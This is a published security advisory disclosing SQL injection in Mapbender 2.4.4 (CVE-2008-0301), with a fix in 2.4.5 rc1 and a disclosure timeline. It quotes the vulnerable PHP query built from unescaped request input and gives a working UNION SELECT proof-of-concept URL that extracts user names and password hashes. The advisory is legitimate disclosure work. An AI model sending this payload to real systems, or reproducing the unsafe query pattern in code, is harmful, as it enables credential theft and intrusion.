Advisory: SQL-Injections in Mapbender

During a penetration test RedTeam Pentesting discovered multiple
SQL-Injections in Mapbender. A remote attacker is able to execute
arbitrary SQL commands and therefore can get e.g. valid usernames and
password hashes of the Mapbender users.

Details

Product: Mapbender
Affected Versions: 2.4.4 (verified), probably older versions, too
Fixed Versions: 2.4.5 rc1
Vulnerability Type: SQL-Injection
Security-Risk: high
Vendor-URL: http://www.mapbender.org
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-002.php
Advisory-Status: public
CVE: CVE-2008-0301
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0301

Introduction

"Mapbender is the software and portal site for geodata management of OGC
OWS architectures. The software provides web technology for managing
spatial data services implemented in PHP, JavaScript and XML. It
provides a data model and interfaces for displaying, navigating and
querying OGC compliant map services. The Mapbender framework
furthermore provides authentication and authorization services, OWS
proxy functionality, management interfaces for user, group and service
administration in WebGIS projects."

(from the vendor's homepage)

More Details

Due to the lack of input validation, an attacker is able to inject
SQL-commands in many PHP scripts of Mapbender. This vulnerability can be
exploited regardless of PHP magic quotes. For demonstration purposes, the
injection into the "gaz" variable of the file
http/php/mod_gazetteer_edit.php is shown.

The two relevant lines are:

$sql = "SELECT * FROM gazetteer WHERE gazetteer_id = ".$_REQUEST["gaz"];
$res = db_query($sql);

The user input $_REQUEST["gaz"] goes unfiltered, unquoted and unescaped
into an SQL statement. As no prepared statements are used here, an
attacker can execute arbitrary SQL commands.

There is no need to use quotes in the SQL statement for an attacker, so
PHP magic quotes do not help.

Proof of Concept

The following request retrieves the first username and password hash
from the Mapbender database.

http://www.example.com/php/mod_gazetteer_edit.php?gaz= 1 LIMIT 0 UNION
(SELECT char(65), char(65), char(65), char(65), char(65), char(65),
mb_user_name, char(65), mb_user_password, char(65) from mb_user
LIMIT 0,1)

Workaround

None.

Fix

The vulnerability is fixed in release 2.4.5 rc1.

Security Risk

As an attacker is able to e.g. get the password hashes of the
administrators and other users, the risk is estimated as high.

History

2007-12-14 Problem identified during a penetration test
2008-01-09 Customer approves contacting of Mapbender developers
2008-01-17 CVE number assigned
2008-03-10 Vendor releases fixed version
2008-03-11 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks or products are
uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
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security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.